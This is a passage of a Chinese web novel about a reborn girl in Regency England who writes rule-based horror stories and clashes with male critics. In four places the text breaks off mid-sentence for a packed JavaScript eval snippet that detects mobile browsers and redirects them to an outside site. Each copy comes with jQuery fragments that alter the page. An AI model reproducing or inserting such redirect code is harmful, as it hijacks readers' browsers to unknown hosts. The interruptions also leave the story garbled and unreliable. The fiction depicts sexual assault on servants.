“莉娜,”玛利亚冲回楼梯口喊小妹的爱称,“别再砸钢琴了。”
跟小妹掰扯一番弹钢琴和砸钢琴的区别,玛利亚成功被带跑偏,在一段愉快的四手联弹中度过悠闲的午后。
到了晚上,她鬼使神差想起夏洛特的话,原本要吹蜡烛改成挑了挑灯芯,快九点时打开门往外走。
吱呀一声,走廊尽头的门打开,神色自然的戴安娜走出来,几步赶到她身边。
“真少见,你还没睡啊。”戴安娜打了个呵欠。
“嗯,去一趟盥洗室就睡。”
玛利亚开始思考。
杜赫怕黑,怕幽灵,入夜不敢独自去盥洗室,又不好意思使用夜壶,让女仆早上倒掉,便会待在门边留意外面的动静。
这些她还是能看出来的。
随着年纪增长,这种情况几乎没有发生过,是什么让她又开始惧怕了?
结合夏洛特的话探寻原因,她恍然大悟。
“难道说,你在写恐怖小说吗?”
戴安娜身体僵住,缓过神来扭头看姐姐,果然她露出“我妹妹真是又菜又爱玩”的表情,不由得恼羞成怒。
她为什么顶着怕鬼的debuff写恐怖小说,还不是你们这群英国佬喜欢看!
“杜赫,你好勇敢。”
“……不要说了,谢谢。”
六月三日,伦敦,斯宾塞庄园后面的小树林。
大树下,难得休息的女仆们聚在一起闲聊八卦,做手工活,坐不住的就手挽着手到溪边采花。
“邦妮,你们还记得吗?”
“红头发的那个?”
“她不是在希顿子爵那里工作吗?”
“是,我接下来的话很重要,她被男仆侵犯怀孕了,你们都要小心。”
气氛顿时寂静,贵族有贵族的圈子,女仆有女仆的圈子,很多消息都是瞒不住的,更何况是怀孕。
“她太可怜了。”
“那个男仆没有受到惩罚吗?”
“亲爱的,你太天真了,索菲亚被雇主侵犯,都告上了法庭,但法庭说失贞的女人供词不可信,那个雇主不也没事?连10英镑的封口费都没得到。”
好半晌,脸颊边长着几颗麻子的年轻女仆朱莉莎小心看了看姐姐们:“那我们能做什么?”
“小心,保持警惕,这该死的世道没有一处是绝对安全的。”年长的伊莎贝拉只能这么回应。
朱莉莎懵懂地点头。
她的手紧紧攥着裙摆,身体微微发抖,伊莎贝拉不忍心,聊起某家男主人为了情妇和女主人大吵一架的八卦,倒是很好地缓解朱莉莎的恐惧。
“报纸来了,报纸来了。”
玛姬提着裙摆一路小跑,到了树下,受到女仆们的热烈欢迎。
“玛姬回来了!”
“快来给我念念吧,我真想知道那位绅士和温妮后面的故事,这三个月都没睡好觉,等待比给主人烧洗澡水都难熬。”
“好玛姬,先念一念流行的穿搭和发型吧。”更漂亮优雅的女仆更容易去富裕的家庭工作,她很在乎这个。
现在女性的识字率是百分
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633890|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之四十左右,自然不包括刚出村子来到伦敦找工作的女仆,伊莎贝拉倒是耳濡目染,认识很多字,但她讨厌朗读,也不喜欢将钱花在报纸和穿着上,并不愿意给伙伴们读报纸。
这个时候虽然年轻,但竟然识字的玛姬就很受欢迎了。
“听我说,朋友们,我要先念一则故事,我在回来的路上就看了,保证精彩。”
女仆们眼神发亮,起了兴趣,脸上满是期待之色。
唯有伊莎贝拉将正在缝制的手帕放进编织篮里,扶着树干起身:“我去河边看看。”
“亲爱的伊莎贝拉,你别走,我发誓它很好看,求你了。”玛姬哀求道。
伊莎贝拉奇道:“你不是对那些家庭伦理和情感故事不感兴趣吗?”
玛姬眨眨眼:“这次真的不一样。”
正好采花二人组抱着花回来,忙坐下,众人屏息凝神,一起听玛姬朗读故事。
故事的开始是一场欢宴,空气中飘荡美酒的芬芳,乐队奏响美妙的旋律,伴着舞池里的璧人们起舞。
宾客如云,衣香鬓影。
“很平常的开头。”伊莎贝拉不客气地点评。
女仆们顾忌玛姬的面子没有点头,心里却认同。
为了参加国会和王室举办的活动,全国的贵族都会在二、三月份搬到自家位于伦敦的豪宅,往后三天一舞会,两天一茶会是保守了。
今日某个伯爵家办舞会,明日某个侯爵家开舞会,这样错开来,就天天有舞会,不至于太冷清。
她们虽然服务于不同的雇主,但都有准备舞会的经验,也都偷窥过属于上层人的世界,正是一点都不新鲜的时候。
玛姬不生气,反而有些得意,因为转折就在下一句话。
她刻意压低嗓音,营造紧张诡谲的氛围。
——哗啦!酒杯落地发出刺耳的声响,从桌上端起酒杯与人笑谈的绅士凭空消失,他对面的男士腿一软,跌坐在地,指着虚空尖叫:“是祂,祂来了!”
8.规则怪谈(八)
祂是谁?不知道,这世界上没人知道。
但祂能做什么,显而易见,祂将参加宴会的十二名贵族并一名女仆瞬间绑架到一处古堡。
恐慌、愤怒、怯懦、茫然……一切情绪交织在一起化作歇斯底里,男人们大喊大叫,女人们聚在一起泪流不已。
“突然出现在另一个地方,而且不能离开,噢天啊,怎么会有这种事?”
女仆们窃窃私语。
“后面呢?发生什么了?”伊莎贝拉来劲了,她喜欢哥特的原因之一就是那些贵族在神秘力量面前丧失颐指气使的气派,她迫不及待想知道后面的剧情。
古堡的女仆出现了,她声调平稳:“尊贵的客人们,快到午夜十二点了,请不要在一楼停留,由我引导诸位去往三楼休息吧。”
“不,不行,我们要先寻找规则。”说话的是年轻的艾萨克子爵。
其余男人尖叫时,他保持了镇定和理智,安抚弱小,主持大局,书里书外都令人心生好感。
再说女仆帮助贵客找东西天经地义,不帮忙反而会被主人责怪没有眼力见。
如果这位女仆的头没有如猫头鹰一般转一百八十度的话。
“哦?需要我帮忙吗?”她说。
玛姬声音很好听,性格也活泼,于是那声音里总是含着几分笑意,让人喜欢跟她说话,然而当她阴森森地吐出这句话后,胆子小的如朱莉莎短促地惊呼,胆子大的如伊莎贝拉也忍不住用双手搓搓直冒鸡皮疙瘩的双臂。
女仆是诡异,这谁敢让她找规则啊?谁敢信她找到的规则?万一她拿出一张假的,她们按照假的行事,不正好给诡异杀人的借口了吗?
没有人愿意冒险。
为了生命安全,一行人并不坚持此时寻找规则,跟随女仆去房间休息,当晚便付出生命的代价。
伊莱恩男爵死在盥洗室里。
头颅在坐便器里飘着,身体不见了。
她们在镜子后面找到的规则如下。
1.盥洗室里只有水,没有火。
2.盥洗室里只有清水,没有血水。
3.盥洗室里只有水声,没有乐声。
4.水龙头里流出的水是红色的。
5.不要进来,不要进来,不要进来。
6.镜子只是镜子,只会照出人的模样,不会照出马的模样。
7.不要独自进入,(涂黑)(涂黑)(涂黑)。
规则混乱令人不寒而栗,但人可以勉强保持清醒,通过讨论,她们决定解决个人问题用房间里的夜壶,除非在屋子里看到马车,否则不能进入盥洗室。
朱莉莎忍不住扑进伊莎贝拉怀里,玛姬的朗读还在继续,哗啦哗啦的翻面声平添几许凉意。
等她读完,众人久久回不过神来,好像她们也在那诡异的古堡生活了两天,好一会,温柔的阳光才融化大脑上的坚冰,恢复了思考。
她们畏惧又兴奋地讨论起来。
幽灵,不,应该是诡异不再不可视,而是生活在人们身边,太可怕了。
但是只要遵循规则,那诡异就不能伤人。
可是诡异也会伪装,会撒谎,会引诱,会示弱,更可怕了。
被拉入境界里的人们该如何战胜诡异,成功活过四天?
噢不会都死了吧?
玛姬积极参与进去,记下每一个值得记录的问题,明天,不,待会回到她的小房间,她就要给她的戴安娜写信,相信戴安娜一定会很高兴。
今晚雇主要出门赴宴,虽然管家还在,但工作比较轻松,可以继续讨论,延长对故事的新奇感,如果对方的意见和自己一致那就太好了,就算不一致,提出新的假想依旧丰富了她们听到的故事。
到最后管家也加入进来,借走玛姬的报纸读了又读,还回去时恋恋不舍,直说她也要买一份。
她们不是不害怕,她们也怕得要死,走在素日里习惯的走廊背后发凉,推开盥洗室的门踌躇不前,不敢看镜子,拧开水龙头都紧张。
但又菜又爱玩从不是某个人的专利。
对于天不亮就起床,每天都要做一堆家务活的人们来说,这是多么难得又刺激的体验?
能在用掸子打掉器具灰尘,或是处理羊毛地毯时说一说,做烦了的活似乎也没那么无趣了。
“会有诡异吗?会有境界吗?”朱莉莎眼睛放光,擦拭地板都有劲,“要是能在拉赫昂小姐的故事里当女仆就好了。”
铺床单的玛姬笑着问:“不用干活,天天吓唬贵族是吧?”
“不不不,我不是这个意思,”朱莉莎赶紧澄清,“我是说诡异女仆肯定不会恐惧,不会害怕,卧室的门被外人撬开,然后自己被男仆或者雇主侵犯。”
她越说声音越小,即便是很轻的尾音都包含着羡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645664|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慕。
哪怕幻想成为诡异女仆,也没有想要伤害、报复压迫者,只希望自己不再生活在提心吊胆中。
玛姬的动作顿了顿,怀抱“变成诡异女仆”的梦入睡也不是坏事,至少在梦里能感到醒来时无法体会的轻松快乐。
“朱莉莎,想要学认字吗?”她问。
“啊?啊!?”朱莉莎傻了,跪坐在地上呆呆地看她。
“小点声,你不是说也想买《淑女通讯》吗?买了你又看不懂,我教你认一认。”
朱莉莎激动不已,心砰砰砰要跳出胸膛,很快她想到另一个问题,脸上露出纠结为难之色,垂下眼眸掩盖窘迫,“多少便士一小时呢?”
“不要钱,”玛姬的回答让她猛地抬头,“教我认字的小姐说只要我能教会五个人识字,学费一笔勾销。”
朱莉莎脱口而出:“那她真是一位好心肠的小姐!”
好心肠的小姐正坐在书桌前,撑着下巴看信。
她收到很多信,安娜的法语心得,玛姬的“读者观察笔记”,报社的报喜信件以及发给她的读者的信。
还没成年,但能收到这么多信,玛利亚不止一次向她表达过羡慕。
这个年代视写信为时尚高雅,毕竟不是什么人都用得起纸笔,那些印着花纹熏染香气的信纸更加昂贵,彰显笔者的身份地位,据说有人能每天都写四五封信,相当于天天在外面撒钱。
读者的信表达的喜爱和期待,情感都很饱满,不饱满的也不会写信了,给予戴安娜很大的鼓舞,她很庆幸,没有写信来骂她的。
……也有可能是《淑女通讯》没给她寄骂人的。
报社的信表达了感谢。
通常而言《淑女通讯》会在上新那几日卖出1500份左右,在往后的三个月中以一天20份的数量缓慢攀升,抵达季刊的总发行量。
而这一期打破旧日模式,在发行后的一周里售卖量节节攀升,已经到了一日五十份,他们预估往后还会上涨,这多亏了她的文章。
希望她别累着也别歇着,多多产出更好的怪谈。
玛姬信上结尾抱怨朱莉莎是个傻瓜,教她识字费大劲,教她一个比教两个还难,要不将教学目标从五个减少到两个吧。
发牢骚而已,戴安娜不当真,更吸引她注意的是玛姬描述的社交季新闻,贵族之间的趣事还有发生在女仆身上的惨案。
9.规则怪谈(九)
戴安娜是没见识的乡下小孩,玛姬是住在伯爵府的女仆,能接触到贵族的生活,她便想让玛姬提供一点见闻作为她写作的素材。
玛姬拍着胸脯答应,不用戴安娜恳求,她也会写在信里对她吐槽。
尽管身边有可以讨论的人,但她仍然想与戴安娜分享。
……杜赫的骂人功夫比身边的伙伴强多了。
此时戴安娜不想骂人,她搓搓脸,由于阅读速度太快,等她反应过来看到什么已经来不及了。
厉害了,女仆会被男仆侵犯,还屡见不鲜。
有勇气告上法庭,很好,但男法官说失贞的女人证词不可信,好好好,这么玩是吧,把你写进小说里!
现在就写!
不知道哪一本小说会爆,那就哪一本都写。
下一个怪谈原本是关于写信的,规则怪谈嘛,离生活越近,恐怖感越强,现在她要暂且搁置,先写关于女仆的。
进入规则怪谈就需要扮演规则赋予自己的身份,第一篇怪谈,贵族们扮演贵客,诡异们扮演女仆,下一篇怪谈她要让这些人上人扮演女仆,诡异扮演吃女仆的男人们。
玛利亚上来叫她吃饭时,她写得如痴如醉,沉浸在自己的艺术里不能自拔,玛利亚叹息一声,上前抽走她的笔,躲开她的抢夺。
“就差最后一行了!”戴安娜哀嚎。
“走了走了,大作家,该吃饭了,有你喜欢的馅饼,再不去就被威尔吃光了。”
“什么?”戴安娜拍案而起,“竟然抢我的馅饼,此男断不可留。”
说罢一马当先冲出房门,楼梯踩得咣咣响,好像怪兽打进她们家了。
玛利亚:“……”
小妹又说她听不懂的话了。
一张又一张写满字的纸横七竖八摆在桌面上,有点想偷看,但性格里老实胆小的属性站了上风,只端走了吃干净的司康盘子。
这时英国的馅饼长得像两个月饼叠在一起,外面一层皮,里面是猪肉馅,咬一口满满都是肉,很扎实,饱腹感十足,搭配着果香四溢的起泡酒,一点都不油腻。
最后一句是卢卡斯爵士常常挂在嘴边的,装作一副很爽的样子,等她起了兴趣,再故作可惜地说她不能喝酒。
切,她不稀罕。
过早饮酒影响她崭新的大脑发育怎么办?
毫不在乎的她一口气炫三个馅饼。
“这次的猪肉熏得真好吃!”
夏洛特:“那你多吃点。”
饭后,卢卡斯爵士拉她去书房,打探文章首发的情况,他有点希望杜赫的文章带动《淑女通讯》的销量,也怕销量带起来了,杜赫在这条歧路上越走越远。
戴安娜不知道说什么他会高兴,干脆实话实说,顺便再说一波大话。
“之前我说赚一万五千英镑给姐妹们,那是吹牛,但现在,我觉得我能做到。”
“……可是你才赚了10英镑。”
“纠正一下,威廉先生,是12岁就赚了10英镑。”
戴安娜得意地出门,她越是自信,就越能唬人,唬不住当顿那种商人,唬一唬卢卡斯爵士应该没问题,就算唬不住,她还有贝琳达女士呢。
卢卡斯爵士没什么主见,耳根子又软,他做出什么决定完全取决于最后听进去了谁的意见。
妈妈一定会帮她说好话的。
她一说,妈妈就答应了,不愧是她心目中可靠的成年人。
回到房间,为怪谈补上最后一句话,要不说年轻的大脑就是记性好,换成上辈子,她吃完饭早忘了饭前想做什么了。
整理好稿子,压在法语字典下面,她从抽屉里拿出精美的信纸,比她的稿纸更硬更白,是卢卡斯爵士常用的信纸。
是强塞进来的,她有什么办法?卢卡斯爵士说了,她要是拿廉价稿纸写信,他就自刎归天,摊上这么个好面子的爹,没办法咯。
首先给她亲爱的读者们写信,感谢她们的喜爱,关于她们下文的猜测,有些表示肯定,有些表示离谱。
另外纠正一件事——不要叫她拉赫昂先生或者希耶尔男士,她是使用女性笔名的女士,不是使用女性笔名的男士。
很有趣吧?尽管文学界的知名人士都是男人,但是市场却对女性文字更买账,一些女性或是出于保护隐私,或是希望人们更关注她的作品而非性别的缘故,取了男性笔名。
而一些男性,写不过现在正流行的狄更斯等人,于是取了女性笔名。
可想而知,她的读者们将她当做这种人了。
她不能被当成这种人。
依稀还记得,她读一本作者叫安妮的短篇哥特小说,指着那女性笔名给姐姐夏洛特看,夏洛特指出男性取女性笔名现象时的心碎。
在她心里,这种行为跟体育比不过男人,于是称自己是跨性别者挤进女人赛道中别无二致。
真是太阳底下无新鲜事。
读者的信不多,她花费四十分钟回复完,再看一看,很通顺,个别单词划掉不影响整体的美观,要是她当初写英语作文也有这种水平就好了。
再摊开一张雪白的信纸,旁边搁着报社的来信。
对方夸她写得好,她就夸《淑女通讯》是个很好的平台,拥有稳定的发行量,这才使得她的文章能一次性被那么多人看到,如果当初答应出版社出版,想必现在都卖不出去一百册。
捧一踩一哄哄她的老板,对她友善的人,她也不吝啬自己的好意。
接下来是安娜,纵然是老板的孩子,可她没有摆架子,措辞既温柔又成熟,教导法语时又很耐心,指出法语短文的错误时态度平和,从没有嘲笑过,让她怀疑对面不是十四岁的小孩,而是知心大姐姐。
不管怎么样,免费教法语,那就是她的好朋友了,回这封信,她的心态很轻松,不那么在乎行文逻辑,说点这个再跳跃到别的地方去,一封信便写完了。
她认识玛姬的时间远比认识安娜要久,写信写得更多,理应提笔就来,这一次,她却搁下了笔,往后一靠,仰着头去想玛姬信里的内容。
为什么写规则怪谈?因为她看过市面上很多小说,卖的最好的就是哥特小说,连报纸上统计的小说题材偏好,都是哥特遥遥领先。
当然,单纯的哥特过了巅峰期,还掺杂了许多瑟瑟元素,使得其饱受评论家的批评。
她知道哥特赚钱,别人也知道,市面上的哥特小说早就过于饱和,她自知文笔有限,阅历也不如人,很难写出新意,只能用规则怪谈打开局面。
规则怪谈起源于两百年后论坛中的《动物园规则怪谈》,现在写,无异于窃取其规则怪谈开山鼻祖的地位。
卑鄙吗?
很卑鄙。
内疚吗?
她自省时无数次发问,答案只有一个,不。
戴安娜很清楚,这是一个父系男权社会,文学界更加尊崇男作者的文章,给其余作者的待遇地位评价都远远不如男作者。
换言之,男作者在挤压抢夺作者的生存空间。
她能战胜他们吗?
很困难,连一家女性做老板的出版社都找不到,即便是《淑女通讯》,那也是男老板创办的。
既然对方已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658071|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
占据了空间的优势,那她就只能拿出时间的优势了。
她是两百年之后的人不是吗?她知道很多这个时代的人不知道的点子。
这当然很不公平,但是占据着爱男平台尽情施展才华的男作者没资格跟她要公平。
你砍我一刀,我刺你一剑,这才符合世间最古老的道理。
她抱着这样的心态,却没想到这一刀能安慰到一位被男人胡作非为也不会有任何惩罚惊吓到的女仆。
心里还怪复杂的。
她对这一点表示惊讶,希望玛姬能关注这位可怜的女仆,同时传授出一点小技巧。
【玛姬,一切性暴力都是整个父系社会共同实施的,亲亲相隐,男男相互,当他们得知做这件事不会有任何后果,那就会更加肆无忌惮。
【你那位姐姐说得很对,要小心,你们生活的地方从没有安全过,面对这种情况,怕是没用的,惧怕只会削弱危险到来时反抗的勇气。
【我教你一招,用脚踢对方的蛋,如果担心踢不准,那我建议你去厨房找个鸡蛋来捏,练习握力。当危险到来,曲意逢迎,别担心,这种时候他们小头控制大头,很好骗,直接去捏他的蛋,我保证他当场失去一切反抗能力。】
拿信纸的手在颤抖,玛姬人都是傻的。
为什么杜赫这么熟练啊?
她、她是一位爵士家的小姐,竟然白纸黑字写出来了,她就没有想过信落在别人手上,看到内容,对她会是多大的打击吗?
想到此处,玛姬打个寒颤,四处看看,奔到蜡烛前面,信纸探过去,手却收回来,再看一遍,咬了咬牙,点燃信纸,看它灰飞烟灭。
有心想问她是如何知道那些技巧的,却怕又招回来一封难以招架的信,只得作罢,但信上的技巧,她不想荒废。
除了戴安娜,还有谁会教她自保自救的技巧?
明天就去厨房捏鸡蛋。
玛姬收到信后,内心久久不能平静,《淑女通讯》的当顿也是如此。
在安娜的叮嘱下,他特意挑选一位不歧视女性创作的编辑负责戴安娜小姐,但这不意味着他一点都不管她,他对这位狂言作品量超越笛福的小作家非常感兴趣。
她回复报社的信件,编辑看过就够了,他却还要再看一遍,果然又看到一翻豪言壮语,瞧瞧这位心比天高的小姐,居然鼓动他改版,从季刊改为月刊。
看来没将评论家的信发给她,倒是助长她的自信了。
转眼间伦敦社交季结束,九月刊发行,首日购买量竟然突破三千,稍微改变当顿的看法,戴安娜小姐的自信也不是没来由的,仅此一家的规则怪谈的确吸引了一大批读者。
后面的发行量以每天100份的数量增长,他有点坐不住了。
诚然,他是个求稳的商人,但只要是商人,都免不了受到更大的利益驱使,去做一些往日不敢做的事。
不过他还是稳住了,召集编辑们讨论发行量暴涨的原因。
讨论了半个小时,主要原因是规则怪谈,不必多说,更重要的一点是下篇回击了评论家的批评。
——拉赫昂·希耶尔只是在拿她编造出来的规则吓唬人而已,没有半点深度。
下篇就上了深度,同时将恐怖推上了最高峰。
人一个接一个的死,到最后只剩下三人,真正的主角在绝境中揭示。
不是艾萨克,不是维拉,而是那个自从哥哥成为第一个受害者就一直哭哭啼啼当挂件的海伦·伊莱恩。
她带来全新的规则,遵循规则是没有用的,生存法则是利用规则和寻找规则的漏洞。
10.规则怪谈(十)
劳娜从脸色阴沉的丈夫手里拿回她的《淑女通讯》,哗啦哗啦翻一翻,目光精准捕捉到“拉赫昂·希耶尔”的名字,心头涌上喜悦,迫不及待地捧着报纸读起来。
“这是个很不可理喻的结局,”丈夫嘟囔道,“我相信你看完之后再也不想看到她的名字了,连《淑女通讯》这种不入流的报纸也不想再买。”
“亲爱的先生,你安静点,你阅读时,我就没有吵过你。”
她的丈夫格莱德一噎,冷哼一声,走回书桌后坐下,木椅发出不堪重负的声音,他喘着粗气,铺开纸张埋头开写。
约摸十五分钟后,劳娜的目光离开报纸,盯着虚空发呆,格莱德的笔摔在桌上的声音惊醒她。
“看完了吧?感觉如何,我非要让布莱克先生,哦还有赖特先生好好批评一下这种文章。”
“赖特?那个亨利·赖特?他曾经因私仇像恶狗一样追着一位新人作家咬,他写什么,他批评什么,直到那位新人作家销声匿迹才罢休。我那在《每日新闻报》里担任编辑的丈夫,要用这种人对付一个初出茅庐的小作家?”劳娜竖起眉毛,不满地质问道。
一提起年纪,怒气冲冲的格莱德心虚了一瞬。
那不知天高地厚的拉赫昂小姐没有选择《每日新闻报》,的确令他记恨,事后卢卡斯爵士的回信给了他台阶,原来她只有十二岁,难怪会如此不懂事。
他是《每日新闻报》的编辑之一,手底下管着很多诗人、小说家和评论家,因不被选择而怀恨在心,攻击年仅12岁的小姐,对他的名誉也是一种伤害。
这一点无可辩驳,但这位丈夫也不会认输,让妻子压过他一头。
“赖特先生针对那人不仅是私仇,你不要听别人胡说,他写的东西就是有漏洞。”
“呵呵,哪个作家的作品会天衣无缝?你们要是想攻讦什么人,今天左脚先进门都会成为理由。”
格莱德擦擦汗,灵光一闪:“提到漏洞,你看完她写的东西了吧?她塑造的主角海伦明明找到正确的规则,却冷眼看着一条条生命流逝,冷血!残忍!”
劳娜其实也受不了过于冷酷有心计的海伦,这样的人做个配角就罢了,做主角着实德不配位,她更喜欢温柔善良的主角,比如维拉。
然而比起海伦,还是格莱德的老脸更难以忍受,她当即阴阳道:“总比被诡异追杀时,甩开未殙妻手的男人要好吧。”
“这就更不合情理了?”格莱德气急败坏,“她前文里将艾萨克先生塑造成一位绅士、明理、勇敢的男士,他说会用生命保护维拉,怎么会突然发生这样大的变化?真正的主角应该是艾萨克。”
“后文不是也解释了吗?平时能装,生命陷入威胁的时候装不下去罢了。我相信这一切在她的面前真实发生过!”
别的不说,还是绘画教师的格莱德向她示爱时好话说尽,如今却是装都不装了,亲身体验过的劳娜相信这种情况会真实发生。
两人不欢而散。
劳娜忧心忡忡地回到卧室,犹豫的表情转瞬间变作果决。
丈夫肯定在写信,发动他手底下的几位评论家,他写信,她也写信。
想到此处,翻出信纸,伏案落笔,给那位小作家报个信。
自然,她不会暴露格莱德的名字,只是以读者的身份提醒她,最好掩盖一下文字中的……不利倾向。
这一点太好看出来了。
笔在作家手里,她若爱所有男人,必定将全部美好的品质安插在他们身上,她若爱某一个男人,那么其余男人必然愚昧、浅薄、贪惏,只有一个男人拥有善良的心。
这两种作家,劳娜都见过。
但纯恨的,只见过这一个。
丈夫看出来了吗?可能有所感知,面上却不会承认。
想一想,在这个世界他们找情妇是风流韵事,回归家庭是浪子回头金不换,做一切坏事都正常,而不是坏。
没读过书的沐浴在这种社会风气中长大,没接触过阴暗面的小姐读着对男人歌功颂德的文章长大。
即便碰到一些坏男人,她们也相信书中的完美男人现实中是存在的,只需要擦亮眼睛就好。
严防死堵到了这般地步,但还是有个人讨厌他们全体,对于自信心爆棚的群体而言,这得多破防?
除非有人当面点出来,否则他绝不会认。
不认归不认,她如此桀骜不驯,一定会惹来麻烦。
劳娜劝她不要太偏激,女人里有坏人,男人里有好人,书里的形象太单一也不好。
写到此处,笔尖一顿,她的好友对她说乡下的人性情淳朴,以前她信,现在看拉赫昂的文字,总疑心不是那么回事。
若不是身边有太多逆天的先生,年轻的拉赫昂小姐也不会一个正面男角色都写不出来。
写完信发出去,她打开报纸,细细再读,这一次那股别扭的感觉变了。
海伦也没有那么无情,艾萨克丢下维拉逃跑时,是她在千钧一发之际救了维拉。
劳娜喜欢维拉,对海伦理所当然生出好感,更不用提结尾附带校园钟声的开头,海伦依旧出场,很显然她是长篇小说的主角。
有时候人对主角的喜爱不讲道理。
这是她看得第一篇规则怪谈,也是第一篇女性视角的冒险小说。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672608|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她不希望拉赫昂被骂到封笔不写,市面上女性视角的小说不少,全都围绕着家庭和情感。
离了拉赫昂,还有谁给她写女冒险家的故事?
她要是想看温柔的主角,书店里多得是,就算不喜欢,也没必要让她删改导致其不存在。
劳娜想开了,可格莱德没想开,他写信给几位评论家,让他们围绕这篇规则怪谈写出读后感,挑选出写得最好的刊登在《每日新闻报》上。
“男性角色的形象塑造得单一,不能让狠辣的女人担任主角,她的智慧和体格都撑不起一场惊心动魄的探险,她应该描写一位真正的绅士,最好是海伦未来的配偶,拯救海伦极端偏执的内……杜赫,你在听吗?”卢卡斯爵士放下报纸,看向自家那张大嘴打呵欠的不省心老三。
“在听在听,说实话,威廉先生,听他的没用,他说话那么灵,那他该出版小说,而不是对别人的小说吹毛求疵。”戴安娜还是一副不精神的样子。
“杜赫!他是一位拥有广泛阅读量的评论家,你只是小有名气,不能骄傲自满。”卢卡斯爵士批评道。
戴安娜正色:“我知道!骄兵必败。”
卢卡斯爵士刚露出一点欣慰之色,就听她继续说:“但败兵必哀,哀兵必胜,所以骄兵必胜。”
这年头又没有扭三,淳朴的卢卡斯爵士哪里听过这样一通大道理,当场眼睛发直,半天没说话。
戴安娜趁机抽走他手里的报纸,低下头一目十行,卢卡斯爵士没读出来的内容还有很多,没有听取和复述的价值,就是一股子爹味教她写小说。
还不如她的一位读者的来信,虽然也有一些她不认同的话,其中一句却很在理。
一个作家要写刺激情绪的文字,而不是充满情绪的文字。
读者受到文字的感染自发产生厌恶的情绪和作家在泄愤,感觉是全然不同的。
这一句实在是妙,她豁然开朗,找到前进方向,也有些沮丧。
要是她现在就能做到,就不需利用规则怪谈来出奇制胜了。
“看得怎么样?有什么想法吗?其实不用太在意,你的年纪还小,文字稚嫩不是大事。”卢卡斯爵士见她半天不说话,还以为她被那些评判刺伤了,便出言安慰。
“他们说我不好。”戴安娜说。
卢卡斯爵士干咳一声:“干脆停手吧,外面全是评论家。”
“这个无所谓,生活索然无趣,猴子点评人类,”戴安娜说,“我的意思是,他们把批评我的文章登在报纸上,很多人都看到了,我能不能写一篇反驳的文章,也登出去?”
“……”
“爸爸?”
11.规则怪谈(十一)
书房寂静一片,昆虫鸣叫顺着打开的窗户传进来。
卢卡斯爵士经过张嘴瞪眼,扶额的状态后,陡然起身,大步来到门边,打开门深吸一口气。
“夫人!我的贝琳达你快来!看看你生的好孩子!”
戴安娜的嘴角一耷拉。
这招太狠了,说不过就搬救兵。
贝琳达赶到,关上门隔绝孩子们兴致勃勃的目光。
她猜戴安娜八成又冒出奇妙的点子,果然,下一秒卢卡斯爵士的抱怨声就响了起来。
“当时就该听我的,不让她发表,那她就不会要求笔名,不会给不知道是女是男的读者回信,不会招来一大堆批评,哦,她现在还想要登报反驳评论家们,”他越说越气,大声宣布,“贝琳达,你来管吧,我管不了了!”
他拉开门离开,关门的声音比平常略大,但没有吓到任何人,包括在外面探头探脑的海伦。
雷声大雨点小罢了。
贝琳达收回视线,无奈道:“杜赫,你是个聪明的孩子,很应该知道一个道理,不应该得罪家里掌握财政大权的人,卢卡斯先生真的生气了。”
“家里的钱不是你在规划吗?”
“可他才是赚钱的人。”
“你是照顾我的人,”戴安娜口齿清晰地说,“有钱等于有权,没钱的听有钱的是很畸形的权力关系。”
正常的应该是贝琳达和她这样,因为贝琳达关爱她、照顾她,所以她听从她的话,服从她的管教,而不是别的什么。
贝琳达沉默一会,叹息道:“你不能否认,英国绝大多数的家庭都是按照我的认知运行的,你的道理不被认可。”
上帝保佑,卢卡斯先生是个傻子,他没看出杜赫在“家里最有钱的人”和“家里最爱自己的人”里选了后者,杜赫更听她的话,他只以为是孩子亲近母亲的天性。
而她的第三子也是个傻子,她还在嘴硬:“那是他们错了,错误的道理驱逐正确的道理,人多不代表真理。”
……这父子俩真是旗鼓相当的对手。
贝琳达的脑海里转了转这个让杜赫知道一定吱哇乱叫的想法,没有执着于改变她,让她尽量顺从卢卡斯爵士,换了话题。
“说说吧,为什么吵?”
